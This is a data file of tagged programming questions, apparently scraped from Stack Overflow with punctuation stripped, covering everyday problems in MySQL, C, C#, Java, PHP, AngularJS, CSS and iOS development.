mysql union 2 sets with results from 1 table  i have the following table   <pre><code>create table if not exists `eurojackpot` ( `datum_trekking` date not null  `g1` tinyint(2) not null  `g2` tinyint(2) not null  `g3` tinyint(2) not null  `g4` tinyint(2) not null  `g5` tinyint(2) not null  `b1` tinyint(2) not null  `b2` tinyint(2) not null  unique key `datum_trekking` (`datum_trekking`) ) engine=innodb default charset=utf8; </code></pre>   i perform the query below and it gives partially the result set i am looking for.    <pre><code>(select g1 as nummer  count(*) as aantal from   (  select  g1 from  eurojackpot   where datum_trekking &gt;= date_sub(now()  interval 1 month)     union  all  select  g2 from  eurojackpot   where datum_trekking &gt;= date_sub(now()  interval 1 month)     union  all  select  g3 from  eurojackpot   where datum_trekking &gt;= date_sub(now()  interval 1 month)     union  all  select  g4 from  eurojackpot   where datum_trekking &gt;= date_sub(now()  interval 1 month)     union  all  select  g5 from  eurojackpot   where datum_trekking &gt;= date_sub(now()  interval 1 month) ) y group by  g1 order by aantal desc limit 5 ) union (select b1 as bonus  count(*) as aantal_b from   (  select  b1 from  eurojackpot   where datum_trekking &gt;= date_sub(now()  interval 1 month)     union  all  select  b2 from  eurojackpot   where datum_trekking &gt;= date_sub(now()  interval 1 month) ) z group by  b1 order by aantal_b desc limit 5) </code></pre>   the above query ouputs the following set of data:   <pre><code>+-------+--------+ +nummer + aantal + +-------+--------+ + 3     + 2      + + 22    + 2      + + 25    + 2      + + 41    + 2      + + 35    + 2      + + 4     + 3      + + 2     + 2      + + 8     + 2      + + 5     + 2      + + 3     + 1      + +-------+--------+ </code></pre>   what i am looking for is a table with output like this:   <pre><code>+-------+--------+-------+----------+ +nummer + aantal + bonus + aantal_b + +-------+--------+-------+----------+ + 3     + 2      + 4     + 3        + + 22    + 2      + 2     + 2        + + 25    + 2      + 8     + 2        + + 41    + 2      + 5     + 2        + + 35    + 2      + 3     + 1        + +-------+--------+-------+----------+ </code></pre>   what is query basically does is counting the occurrences of the numbers and limits it to 5 numbers with the highest occurrence. it should count the numbers for the columns g1 through g5 and b1 to b2. any hint and tips are much appreciated. i think i am overlooking something  but can t find the last bit to get this query to work properly,mysql
c modify global char array  i have problem in c. i want in function1 update/modify a global string (char array)    how can i update my variable dest and share with main function      edit: i found solution   <pre><code>char *alphabet;  int function1(char* newstring) {       alphabet = (char*)malloc(63);      printf ( %s\n   alphabet);       strcpy(alphabet  newstring);      return 0; }  int main() {    char* test= newstring ;    function1(test);     printf ( %s\n   alphabet);      return 0; </code></pre>,c
c#: razor: convert api result to array  i am using google custom search api in c#  but i have type casting errors.   <pre><code>var search_results = (object)null;  if (query != null &amp;&amp; query !=   ) {    customsearchservice customsearchservice = new customsearchservice(new google.apis.services.baseclientservice.initializer() { apikey = apikey });    google.apis.customsearch.v1.cseresource.listrequest listrequest = customsearchservice.cse.list(query);    listrequest.cx = searchengineid;    search_results = listrequest.execute(); }  @foreach (var item in search_results.items) { }  but i have compilation error in  @foreach (var item in search_results.items)   object  does not contain a definition for  items  and no extension method  items  accepting a first argument of type  object  could be found (are you missing a using directive or an assembly reference )  any idea. </code></pre>,.net
how to immediately (automatically) link to another page  i have an web address <em>rush.rocksolidpromotion.com</em> (which is an empty page now) but the content is on the address <em>rush.rocksolidpromotion.com/rush/home.html</em> so how can i put a link on the first address <em>rush.rocksolidpromotion.com</em> that can automatically send the user to the page that has the content,html
selecting video from local iphone like picker   how can i select the video from photo folder or video folder and its file name which must be in iphone locally through programming     is there any way to check the video is already in iphone locally  when i get file name of that video from the internet,iphone
sorting a nsmutablearray of strings:  unrecognized selector sent to instance   i have made a program that gets some strings in input from the user (it stops typing  exit )  puts them in a nsmutablearray and sort them:     <pre><code>#import &lt;foundation/foundation.h&gt; #import &lt;cocoa/cocoa.h&gt;  nsinteger compare( id id1  id id2  void* context) {     nsstring* str1=[id1 stringvalue]  *str2=[id2 stringvalue]; /* ****** exception here */     const char* buf1  *buf2;     buf1=[str1 utf8string];     buf2=[str2 utf8string];     if(strcmp(buf1 buf2)&lt;0)         return nsorderedascending;     else         return nsordereddescending; }   int main (int argc  const char * argv[]) {     nsautoreleasepool* pool=[[nsautoreleasepool alloc]init];     nsmutablearray* array=[[nsmutablearray alloc]init];     nsstring* str=@  ;     char buffer[100];     nslog(@ type a sequence of strings  ending with  exit   the strings will be sorted in alphabethical order );     while(! [str isequaltostring:@ exit\n ])     {         fgets(buffer 100 stdin);         str=[nsstring stringwithutf8string: buffer];         [array addobject: str];      }     [array sortusingfunction: compare context: null];     [array release];     [pool drain];     return 0; } </code></pre>   but i get an exception in the line that i have marked with  <strong>**</strong>   it says:   <pre><code>2012-05-09 00:10:14.502 clitest[1029:903] -[nscfstring stringvalue]: unrecognized selector sent to instance 0x10010cbf0 </code></pre>   it seems like it doesn t take the string value from the id.why  how should i change the comparator method,objective-c
how to check if a char is in a .txt file   in my program i am supposed to make a rush hour game in c. i am importing the board shown from a text file.     after than i ask the user for input  which is supposed to be the char on the board he wants to move.     my question is when the user picks the char  how can i check if the char he picked exists in the board.txt file  because if it doesn t  i need to ask the user to pick a new character.     this is how the input section of the code looks so far:   <pre><code>char direction[1]; char vehicle[1]; int intinput =0;  // get the char input for the type of vehicle printf( please enter which vehicle you would like to move:\n ); scanf( %s   &amp;vehicle); //this is where i need to check if the char picked exists in board.txt  printf(  this is the input: %s\n   vehicle);  //get the char input for the direction you want to move printf( please choose if you want to move right(r) or left(l):\n ); scanf( %s   &amp;direction);  if(direction !=  r || l ){     printf( please choose a valid direction(r=right l=left):\n );     scanf( %s   &amp;direction); } else{     printf( your move was %s\n   direction); } //get the int input printf( enter how far you would like to move: ); scanf( %d   &amp;intinput);  if(intinput&lt;0){     printf( please enter a positive integer: );     scanf( %d   &amp;intinput); } else{     printf( the inpuy is %d   intinput); } </code></pre>,c
function automatically called in some condition  i have code like this：   <pre><code>&lt;div class= row       ng-repeat= x in companies|orderby: id   &gt;     &lt;div class= col left  &gt;         &lt;button ng-click= viewpublicid(x.id) &gt;{{x.companyname}}&lt;/button&gt;     &lt;/div&gt;     &lt;div class= col left &gt;         {{x.address}}     &lt;/div&gt;     &lt;div class= col left &gt;         {{x.telephone}}     &lt;/div&gt; &lt;/div&gt; </code></pre>   what i want to do is add a check: when companies.size=1  function viewpublicid is automatically called. how can i achieve that  thanks.    <strong>updated</strong>: viewpublicid function:   <pre><code>$scope.viewpublicid = function viewpublicid(companyid) {     var url =  http://7cf8d64c.tunnel.mobi/yii2-basic/web/index.php r=restpublic/view&amp;companyid=  + companyid;     console.log( debug   url);     $http.get(url)     .success(function (response)     {     console.log( debug publicid  response);     if(response.length==33)     $scope.publicids = null;     else     $scope.publicids = response;     })     .error(function (response)     {     console.log( debug publicid  response);     $scope.publicids = null;     });      $state.go( tabs.publicidlist ); } </code></pre>,angularjs
how to make a div match an exact point of the background   i have a container that has a background image. i also have a few divs pointing at exact locations relative to the background. i can do that using left-top attributes. but the problem is the container has 60% width and 500px for min-width. resizing the browser window messes up the divs  locations.    here is my code:    <strong>css</strong>   <pre><code>.container{     width:60%;     height:550px;     position:absolute;     left:50%;     top:50%;     margin:-275px 0 0 -30%;     min-width:500px;     border: rgba(255 255 255 0.2) solid 1px;  } .main-content{     float:left;     width:100%;     height:100%;     position:absolute;     background:url(../img/map.png) no-repeat center center;     background-size:90% auto;     background-mi }  .loc1-point{     height:20px;     width:20px;     position:absolute;     left:18.5%;     top:14.5%;     background-color:red;     border-radius:50%; } </code></pre>   <strong>html</strong>   <pre><code>&lt;div class= container &gt;     &lt;div class= main-content &gt;          &lt;div class= loc1-point &gt;&lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   here is the <a href= http://jsfiddle.net/bhcbg/  rel= nofollow ><strong>demo</strong></a> to give you the idea. but the point on the map moves around a lot more during re-sizing of an actual browser window. i can add the image as an img element  then put the points over it  but all i want is to have my points in certain locations and have the same look in all sizes of the container. any idea on how to do this,css
how to read excel file and download as different name in asp.net  i have a project that read an excel file and write into some data later on download this file. i have created this project in asp.net.    i can read excel file and write into something then i save it as different name.in my local computer this code work properly and i do not have any error in these code.but when i publish this project i did not get any error but my project did not give me any result of as i wanted. how can i solve this problem    <pre><code> public static void readexistingexcel()         {             #region excelformac            // var filename =  sof46501-firmaadi-08062015.xltx ;              string path = httpcontext.current.server.mappath( ~/file/sof46501-firmaadi-08062015.xltx );              // path =  d:\\sof46501-firmaadi-08062015.xltx ;             oxl = new microsoft.office.interop.excel.application();             oxl.visible = true;             oxl.displayalerts = false;             mworkbook = oxl.workbooks.open(path  0  false  5          false  microsoft.office.interop.excel.xlplatform.xlwindows      true  false  0  true  false  false);             //get all the sheets in the workbook             mworksheets = mworkbook.worksheets;             //get the allready exists sheet             mwsheet1 = (microsoft.office.interop.excel.worksheet)mworksheets.get_item( standart usd );             microsoft.office.interop.excel.range range = mwsheet1.usedrange;             #endregion             int sofno = 0  sofno2 = 0;             productbus productbus = new productbus();             list&lt;uruncikisvo&gt; uruncikisvo = new list&lt;uruncikisvo&gt;();             uruncikisvo = productbus.getproduct();             sofno = productbus.sofno();             sofno2 = sofno + 1;             if (productbus.sofupdate(sofno2))             {              }             int j = 0;             for (int i = 0; i &lt; uruncikisvo.count; i++)             {                 if (i % 10 == 0)                 {                     j = 0;                     sofno = productbus.sofno();                     sofno2 = sofno + 1;                     if (productbus.sofupdate(sofno2))                     {                      }                 }                 else                 {                     j++;                 }                 mwsheet1.cells[i + 8  2] = uruncikisvo[i].urunkodu;                 mwsheet1.cells[i + 8  4] = uruncikisvo[i].uruntanimi;                 mwsheet1.cells[i + 8  5] = uruncikisvo[i].adet;                 mwsheet1.cells[i + 8  6] = uruncikisvo[i].birimfiyat;                 mwsheet1.cells[i + 8  7] = uruncikisvo[i].toplamfiyat;                 mwsheet1.cells[2  3] = sofno;                 mwsheet1.cells[3  3] = uruncikisvo[0].siparistarihi;                 mwsheet1.cells[4  3] = uruncikisvo[0].resmiadi;                 mwsheet1.cells[5  3] = uruncikisvo[0].phone;                 mwsheet1.cells[6  7] = uruncikisvo[0].parabirim;                 mwsheet1.cells[20  4] = uruncikisvo[0].müsteritemsilcisi;                 mwsheet1.cells[21  4] = uruncikisvo[0].notlar;                 mwsheet1.cells[22  4] = uruncikisvo[0].siparistarihi +  /  + uruncikisvo[0].odemesekli;                 mwsheet1.cells[23  4] = uruncikisvo[0].teslimattarihi;                 mwsheet1.cells[24  4] = uruncikisvo[0].vergidairesi +   /   + uruncikisvo[0].vergino;                 mwsheet1.cells[25  4] = uruncikisvo[0].resmiadi;                 mwsheet1.cells[26  4] = uruncikisvo[0].firmaadresi;             }             #region excelsave_close             mworkbook.saveas( d:\\sof  + sofno +  -  + uruncikisvo[0].resmiadi +  -  + datetime.now.toshortdatestring() +  .xls   microsoft.office.interop.excel.xlfileformat.xlworkbookdefault  type.missing  type.missing  false  false  microsoft.office.interop.excel.xlsaveasaccessmode.xlnochange  type.missing  type.missing  type.missing  type.missing  type.missing);             mworkbook.close(type.missing  type.missing  type.missing);             mwsheet1 = null;             mworkbook = null;             oxl.quit();             gc.waitforpendingfinalizers();             gc.collect();             gc.waitforpendingfinalizers();             gc.collect();             #endregion         } </code></pre>,asp.net
delay triggerring of `after_action` in rails  in our rails 4.2 app  the <code>main_app</code> index action renders main menu and fires up a <code>after_action</code> to do something after rendering:   <pre><code>  class usermenus &lt; applicationcontroller     after_action :do_something     def index       ........       render  user_menus/index      end   end </code></pre>   in <code>user_menus.index view</code>  there are links which link to a few engines  (modules) index page. here is one of them:   <pre><code>   link_to  payment request   payment_requestx.reqeusts_path </code></pre>   here <code>payment_requestx</code> is the engine name.     the order of <code>rails</code> execution of <code>render  user_menus/index </code> is to first render user menus index view => fire up <code>after_action do_something</code> => load all engine models such as <code>request</code> on index page.     we need to have the <code>after_action do_something</code> fired <code>after</code> models on <code>user menu index view</code> have all been loaded (now <code>after_action do_something</code> triggers before models loading). is there a way to do that,ruby-on-rails
making first row of tableview empty iphone  in my app i have a tableview. i want to show tomorrows date (next date) in first row of the table view and other data in rest of the rows. how can i make first row empty and then show date in that.    my code is    <pre><code>- (uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath </code></pre>   {   <pre><code>static nsstring *cellidentifier = @ cell ;  uitableviewcell *cell = [tableview dequeuereusablecellwithidentifier:cellidentifier]; if (cell == nil) {     cell = [[[uitableviewcell alloc] initwithstyle:uitableviewcellstylesubtitle reuseidentifier:cellidentifier] autorelease]; }          nsuinteger row=[indexpath row ];  if (row==0) {     cell.textlabel.text=@ hi ; }  else{    cell.textlabel.text = [datafromxml objectatindex:indexpath.row];   // cell.detailtextlabel.text = [data objectatindex:row]; </code></pre>   nsstring *detail   = [datafromxml2 objectatindex:row];     nsstring *dist=[distance objectatindex:row];   <pre><code>nsnumberformatter *numberformatter = [[nsnumberformatter alloc] init]; [numberformatter setpositiveformat:@ ##0.## km ]; [numberformatter setnegativeformat:@ ##0.## km ]; nsnumber *number = [nsnumber numberwithdouble:[dist doublevalue]]; nsstring *formattedstring = [numberformatter stringfromnumber:number];     nsstring *detailsting=[nsstring stringwithformat:@ %@   -   %@  detail formattedstring]; cell.detailtextlabel.text = detailsting;  [numberformatter release];  cell.textlabel.font=[uifont boldsystemfontofsize:15]; cell.accessorytype=uitableviewcellaccessorydetaildisclosurebutton; self.rowimage=[uiimage imagenamed:@ redicon.png ];  cell.imageview.image= self.rowimage;   return cell;  } </code></pre>   },iphone
is it acceptable to load controllers in the route and body   most articles demonstrate one method or the other... specifying the controller in the route or the body.  while i realize specifying the controller in the route provides additional benefits when needed (pre-loading required view resources  etc.)  it is illogical to think that a modular application will be able to (or should) handle all of the functionality for a complex view.    any proven examples (links) showing a combined approach would really help ease my mind.    thanks  in advance.,angularjs
foreach warning coming up  my following code works (it returns the value of text in 2d array).  now  this is just a proof of concept for something more i want to do (so that s why the logic is stupid)   <pre><code>function searcharrayfor($array  $id  $searchfor) {     $index = 0;     foreach ($array as $key =&gt; $value)     {         return $value[1];     } } </code></pre>   so i noticed in my log file  that i am constantly getting  php warning:  invalid argument supplied for foreach() .  everything looks right  and returns the value i want  any ideas on why i keep getting this error   i really don t want to be spamming the log file with every page load.    using php version 5.3.28 (i know  really old version).    thanks,php
how to retrieve maximum or highest value from table by separate string using mysql  i want to retrive highest value from one column of  table  suppose the highest value is 1002 so query will be like this.   <pre><code>1000 1001 1002              select max(column1 ) as max_page from abc;       output will be 1002 as highest value but if column data contain string with this valuefor example       xyz1000     xyz1001     xyz1002       in this case it is not working of max(column) way so  how to separate string and get maximum value . </code></pre>,mysql
what s the best way for custom sort to nsmutablearray that contains objects  i saw many examples for custom sort for nsmutablearray   here one of them <a href= https://stackoverflow.com/questions/805547/how-to-sort-an-nsmutablearray-with-custom-objects-in-it >how to sort an nsmutablearray with custom objects in it </a>  but i have an object with a and b  and i want to sort them according to a*b.    i saw this code for example   <pre><code>nssortdescriptor *sortdescriptor; sortdescriptor = [[nssortdescriptor alloc] initwithkey:@ birthdate                                                ascending:yes]; nsarray *sortdescriptors = [nsarray arraywithobject:sortdescriptor]; nsarray *sortedarray; sortedarray = [drinkdetails sortedarrayusingdescriptors:sortdescriptors]; </code></pre>   but i do not have birthdate here i need to sort according to a*b (both double)     more details     i have a nsmutablearray that contains cgrect objects  and i want to sort them according to width*height,objective-c
angular delete a record from the database  i am trying to delete a record from the database using angular services. i created a method in my mvc controller but i don t know how to call this method and pass the id.   <pre>     [httppost]         public static void deleterecord(int settingid)         {             try             {                 using (sqlconnection conn = new sqlconnection(connstringapps))                 {                     conn.open();                     using (sqlcommand command = new sqlcommand( deletecurrentrecord   conn))                     {                         command.commandtype = system.data.commandtype.storedprocedure;                         command.parameters.add( @settingid   sqldbtype.varchar).value = settingid;                         command.executenonquery();                         command.parameters.clear();                     }                     conn.close();                 }             }             catch (exception ex)             {                 console.write(ex.tostring());             }          }           myapp.service( deleteservice   function ($rootscope) {             this.removerow = function (recid) {              }         });            myapp.controller( mycontroller   [ $scope   deleteservice             function ($scope  deleteservice) {                $scope.deleterecordfromdb = function (recid) {                   //record id is the id of the record that i want to delete               }               ;           }         ]); </pre>,angularjs
how to change view depth   is there any way to make one view appear over another in the code  like adjust its depths or layer so its displayed above the other  i have two textviews and i want one to be shown but the other is currently covering it. i can t edit this in storyboard either because i created both views in the code and not in storyboard. thanks,ios
how to do a join using a conditional on  i would like to do as follows:   <pre><code>select * from table1  a inner join table2 b  on  a.id = b.id  if (some condition is met) //  now it gets interesting!  begin  and a.name = b.name  end </code></pre>   obviously  this doesn t work.    how can this best be accomplished     thanks stackers!,sql
how to do javascript to remove multiple input fields dynamically  i am a beginner in javascript.i made 3 input fields using bootstrap.i want to enable add/remove  these fields dynamically.i did the javascript for add more option (photo given below).    <a href= https://i.stack.imgur.com/q3uig.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/q3uig.png  alt= enter image description here ></a>    but i also want a remove option.i saw many javascript/jquery tutorial &amp; many sample snippets to understand both add/remove option but i am stuck on that.i want to do my 3 input fields like this one (photo given below)    <a href= https://i.stack.imgur.com/qr4sw.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/qr4sw.png  alt= enter image description here ></a>    now here is code:   <pre><code>&lt;!doctype html&gt; &lt;html lang= en &gt; &lt;head&gt;   &lt;title&gt;bootstrap example&lt;/title&gt;   &lt;meta charset= utf-8 &gt;   &lt;meta name= viewport  content= width=device-width  initial-scale=1 &gt;   &lt;link rel= stylesheet  href= http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css &gt;   &lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js &gt;&lt;/script&gt;   &lt;script src= http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js &gt;&lt;/script&gt; &lt;/head&gt;  &lt;body&gt; &lt;div class= container &gt;     &lt;form class= form-inline  role= form &gt;      &lt;div class= form-group  id= parent_div &gt;                &lt;div class= row form-group  id= child_div &gt;                &lt;label for= day  class= col-xs-2 control-label &gt;&lt;/label&gt;             &lt;div class= col-xs-12 col-lg-3 &gt;                &lt;label for= form-input-col-xs-2  class= wb-inv &gt;other job position:&lt;/label&gt;                &lt;div class= input-group  style=  &gt;                     &lt;select class= form-control   id= employeetype  onchange= updatetext(  ) &gt;                             &lt;option value=   disabled=   selected=    &gt;select job type&lt;/option&gt;                              &lt;option value= 10 &gt;1&lt;/option&gt;                             &lt;option value= 10 &gt;2&lt;/option&gt;                             &lt;option value= 10 &gt;3&lt;/option&gt;                                                &lt;/select&gt;                  &lt;/div&gt;               &lt;/div&gt;             &lt;div class= col-xs-12 col-lg-3  &gt;                &lt;label for= form-input-col-xs-3  class= wb-inv &gt;date:&lt;/label&gt;                &lt;div class= input-group  &gt;                &lt;input type= text  class= form-control  id= form-input-col-xs-3  placeholder= dd/mm/yyyy  /&gt;                &lt;span class= input-group-addon &gt;&lt;i class= glyphicon glyphicon-th &gt;&lt;/i&gt;&lt;/span&gt;                &lt;/div&gt;             &lt;/div&gt;            &lt;div class= col-xs-12 col-lg-3 &gt;               &lt;label for= form-input-col-xs-4  class= wb-inv &gt;amount:&lt;/label&gt;               &lt;div class= input-group  &gt;               &lt;input type= text  class= form-control  id= form-input-col-xs-4  placeholder= .00  /&gt;               &lt;span class= input-group-addon &gt;&lt;i class= glyphicon glyphicon-usd &gt;&lt;/i&gt;&lt;/span&gt;                             &lt;/div&gt;                          &lt;/div&gt;          &lt;/div&gt;       &lt;/div&gt;     &lt;label for= day  class= col-xs-2 control-label &gt;&lt;/label&gt;     &lt;input class= btn btn-success   type= button  id= create_button  value= +  /&gt;   &lt;/form&gt;   &lt;/div&gt;  &lt;script&gt;  document.getelementbyid( create_button ).onclick = function (){ var temp = document.getelementbyid( child_div ).outerhtml; document.getelementbyid( parent_div ).innerhtml = document.getelementbyid( parent_div ).innerhtml + temp; }  &lt;/script&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   please give me some idea on doing both add/remove option.please let me know for further information.thanks,javascript
concatenating and pattern matching sql  i have 3 tables as follows in sql:    <strong>accounts</strong>  containing   <pre><code>id     zip     city  ----   -----   --------------- 121    20085   los angeles </code></pre>   <strong>customer</strong>  containing   <pre><code>user id   zip   -------   ------ 121       20085 </code></pre>   <strong>addr</strong>  containing    <pre><code>zip     city-state -----   ---------------- 121     los angeles  ca </code></pre>   i want to add an extra column in <code>accounts</code> called <code>location</code> which will be a concatenated field that will take <code>city</code> from <code>accounts</code> concatenate it with <code>city-state</code> from <code>addr</code> by matching the <code>city</code>.     i cannot do the regular join as all the <code>zip</code> in <code>accounts</code> are not there in <code>addr</code> so i will loose many records  but the table <code>customer</code> contains all the <code>zip</code> and <code>user id</code> so i think i can make use of that.    the output desired:    <strong>accounts</strong>  containing   <pre><code>user id    zip    city              location  -------    -----  ----------------  ---------------- 121        20085  los angeles       los angeles;los angeles  ca  </code></pre>,sql
<  not supported between cases - number guessing game  i am trying to create a number guessing game in python for a school project. i have made a basic game that will work fairly well  but i want to add in some exception handling in case the user enters something incorrectly. for example  this is a section of my code:   <pre><code>def normal_guess():     number = round(random.uniform(0.0  100.0) 2)     guess =        while guess != number:         try:             guess = float(input( please guess a number between 0 and 100:  ))         except valueerror or typeerror:             print ( that isn t even a number! )          if guess &lt; number and guess &gt;= 0:             print ( you need to guess higher! )         elif guess &gt; number and guess &lt;= 100:             print ( you need to guess lower! )         elif guess == number:             print( congratulations! you guessed the number! )         elif guess &lt; 0 or guess &gt; 100:              print ( the number you guessed is not between 0 and 100 )         else:              print( that isn t even a number! )     new_game() </code></pre>   this works fine when the user enters a float or integer value as  guess   and the try-except clause i have seems to catch if the user enters anything but a number at first  but the program seems to also carry on to the  if  statements. i am getting a typeerror saying that   &lt;  not supported between instances of  str  and  float  .    i have tried encompassing the entire loop in a try-except clause  and that doesn t work. i have no clue what i am doing wrong. any help is much appreciated.,python
file handling in c to replace string  i want to overwrite some part of string with other string in a file.    i want to overwrite in each line of file.     i wrote the below code  but this is not working please help.    <strong>suppose file has multiple line where one of the line containe:---</strong>  <strong>abcdefghioverwritefxyz89760</strong>    <strong>that should convert as below:--  abcdefghichangemadexyz89760</strong>   <pre><code> char linefilerecord [150];   fp = fopen(  abc.txt   r+ );   while ( fgets (linefilerecord   150   fp) != null )  {    char* sample;    sample = strstr( linefilerecord   overwritef );      //overwritef and changemade both have same size     if( sample != null )    {       strncpy( sample   changemade  10 ); // is the the correct way.     }  } </code></pre>   the above code in not replacing the contents. of the file. please correct me if i am wrong any.    thanks for reply.,c
background top cutting from image  i have a <a href= http://fahaduddin.com/mattbertulli/  rel= nofollow noreferrer >site</a> on which the background of the image gets cut off even if the height is increased. how can i have the top area of the image on the page too    <pre><code>.top-area {     background: url(../img/matt.png) no-repeat center center fixed;     -webkit-background-size: cover;     -moz-background-size: cover;     -o-background-size: cover;     background-size: cover;     height: 677px; } </code></pre>,css
fill the arraylist by accessing the matrix using a ‘nested’ for loop  using the matrix and arraylist design from challenge 8  create an array totals to hold the total marks for each of the 5 students.  fill the arraylist by accessing the matrix using a ‘nested’ for loop structure (i will be moving and j will be moving).  after filling the totals array  determine the name of the student who had the highest total  and state their name and their average mark (to 1 decimal place).    how can i add the total score of a student from a matrix into a single spot in an arraylist    <pre><code>public static void main(string[] args) {      scanner input = new scanner(system.in);     arraylist&lt;string&gt; names = new arraylist&lt;string&gt;();     arraylist&lt;integer&gt; total = new arraylist&lt;integer&gt;();     int [][] scores = new int [5][6];     int score = 0;      for (int i = 0; i &lt; 5; i++) {         system.out.print( enter   +  (  + (i+1) +  ) friend s name:  );         names.add(input.nextline());     }      for (int i = 0; i &lt; 5; i++) {         for (int j = 0; j &lt; 6; j++) {             score = 1 + (int)(math.random() * ((20 + 1)));             scores[i][j] = score;            }         total.add(i 0);     } } </code></pre>,java
is there a way to create a menu bar that sticks but has different content when a button is click  i want to do is create a menu bar that every time a button is click that menu bar is still in there and the content will change.     so the question is do i need to create another page that has that menu bar s code or is there any other way     edit:  <a href= https://i.stack.imgur.com/bbd2t.jpg  rel= nofollow noreferrer >this is what i ve done so far.</a> i want to do is like the facebook s menu bar. the profile  home  messages is still there everytime i go to another page,html
funneling in java hashing  i read in <a href= http://www.cris.com/~ttwang/tech/hashsize.htm  rel= nofollow >an article which says</a>:   <blockquote>    it is a common practice to recommend a prime number to be the size of a hash table. this way  a funnel will occur only if the keys are multiples of the prime number.  </blockquote>   here  why should a prime number be used for the initial size  and what is funnelling,java
why do pojo classes need to implement the serializable interface   why do pojo java classes have to implement the <code>serializable</code> interface  what will happen if i do not implement <code>serializable</code>    <pre><code>@entity @table(name= customer ) public class customer implements serializable {      private static final long serialversionuid = -5294188737237640015l;     /**      * holds customer id of the customer      */     @id     @generatedvalue(strategy = generationtype.auto)     @column(name =  cust_id )     private int custid;      /** holds first name of the customer*/     @column(name =  first_name )     private string firstname;      /** holds last name of the customer */     @column(name =  last_name )     private string lastname;      /** holds customer mobile number of customer*/     @column(name =  cust_mobile )     private long mobileno;      /**holds customer address of customer*/     @column(name =  cust_address ) </code></pre>,java
how do i allow for animals to breed  with a random chance of success  in my virtual zoo   i have been tasked with allowing animals to breed in my zoo. if a male and female of the same animal are in the same enclosure then there is a random chance that they will have a baby. the basic layout of my zoo is an abstract animal class which is extended by a range of animals  such as lions. each animal has a range of variables they inherit from the animal class  and one of these is a string gender variable. the gender is specified when the animal is created from its constructor. i have limited this variable so it can only take the strings  m  and  f . my zoo is modelled around a amonthpasses() method.    i figure that i will have to make another method in my animal class which pairs up males and females together and then somehow there is a chance that they have a child that month but i have no clue how to do this. any help would be greatly appreciated. i can provide more details of my code if needed.    animal class:   <pre><code>public abstract class animal {   //cannot be instantiated protected int age; protected string gender; protected string[] eats = new string[] { steak    celery    hay    fruit    fish    icecream };   //an array of strings protected int health; protected int lifeexpectancy; protected enclosure enclosure;  protected animal(int age  string gender  string[] eats  int health  int lifeexpectancy) {   //animal constructor     this.age = age;     this.eats = eats;     this.health = 10;   //base health for each animal will be 10     this.lifeexpectancy = lifeexpectancy;     if(gender.equals( m ) || gender.equals( f) )) {        //this if statement will limit the gender variable to  m  or  f  for male or female         this.gender = gender;     } }  protected int getage() {     return age;                //returns the age value }  protected string getgender() {     return gender;     } } </code></pre>   constructor in each individual animal:   <pre><code>private bear(int age  string gender  string[] eats  int health  int lifeexpectancy) {     super(age  gender  new string[]{ steak    fish }  health  lifeexpectancy);     this.lifeexpectancy = 18;  //the bear has a life expectancy of 18 months }` </code></pre>,java
i am attempting to create a strtok function from scratch using arrays  i am not sure where to go from here. i am trying to do the strtok function from scratch using arrays. i wanted store each token in the temp array  print it  and keep doing this for as many tokens the array would have. for instance  a string such as  this is fab  i wanted  this   to be copied over to temp until the delimiter( null  or space or any character) was encountered. then printed. the final result of everything should have been:    this \n    is \n    fab \n    does anyone have any insight.    <pre><code>char strtok( char s[]  char key) { char find; char temp[100] =    ;  int i = 0; while( s[i] !=  \0 ) {     i++;     for(; s[find] != key &amp;&amp; s[find] !=  \0 ; find++)     {         temp[i]= s[find];     }             cout&lt;&lt;endl;      }  for( int x = 0; temp[x] !=  \0 ; x++)     {         cout&lt;&lt;temp[x];     }      cout&lt;&lt;endl; } </code></pre>,c++
my code prints junk values  when i print the contents in buffer  this is a program to take std input and display 72 characters ended with a newline character if the number of input is less than 72 it has to appended with terminating null characters  if i print the buffer i get junk values. what is wrong here   <pre><code>int main()  { int buffer[ max_char ]; int count = 0  ch = 0  i = 0;  while( (ch = getchar() !=  @ ) ) {     // buffer used to collect the i/p characters from the std i/p     buffer[count++] = ch;     if( max_char - 1 == count ) {          buffer[ max_char + 1 ] =  \n ;         for(i = 0; i &lt; max_char; i++)             printf( %c   buffer[i]);         count  = 0;         buffer[ max_char ] = 0;         }     }     //if the input character is less than 72  then append the rest with spaces     if( count != max_char - 1)  {          for(i = count; i &lt; max_char - 1; i++)             buffer[ count ] =    ;         buffer[ max_char ] =  \n ;         for(i = 0; i &lt; max_char; i++)             printf( %c   buffer[i]);         }    } </code></pre>,c
android rank view  i would like to build a rank view. for example it can be a linearlayout with vertical orientation. that layout would contain 4 other layouts or buttons and i would like to be able to change the order of those elements by long pressing on (for example second element) and moving that element at the top of the list). is there any ready-made solution for this problem maybe library. i have been trying to find but without success.,android
android: where do i find startsubactivity()   i m trying to use the function [context].startsubactivity([intent i]) but that won t compile. apparently startsubactivity() doesn t exist in android 2.01  i <em>do</em> see a bunch of startactivity(...) functions  but no startsubactivity  which so many examples provide. would someone please tell me if it s been deprecated  or maybe i m just not including some library eclipse isn t helping me find  :)    what i m trying to do is launch a subactivity inside of a timertask inside my app.    thanks!    -auri,android
a good way of leaving code writers information inside html   i m wondering  what would be the best way of leaving code writers (programmers) information/initials/(maybe even) copyright... <em>well  some information about web developer  not content maintainer</em> inside html.    is leaving a link to my site inside footer a good way  or i there maybe can used <code>&lt;meta&gt;</code> tags for something like that     thanks in advance!,html
i have submitted app to app store and app status came like  metadata rejected  and following review status. i do not have login page <blockquote>    we began the review of your app but are not able to continue because   we need a demo account to fully access your app features.        please provide demo account details in the review notes section of the   version information for your app. please ensure that the information   you provide includes any data necessary to demonstrate the   functionality of your app features.        you can provide demo account information  including passwords  in the   review notes section of your itunes connect app information.        while your itunes connect application state shows as metadata   rejected  we don t require a new binary to correct this issue. please   visit itunes connect  manage your applications. select your app  then   click view details of the desired version. click the edit button next   to version information to edit the review notes for your app  then   click  save .  </blockquote>   how do i correct the metadata  i do not have login account.,ios
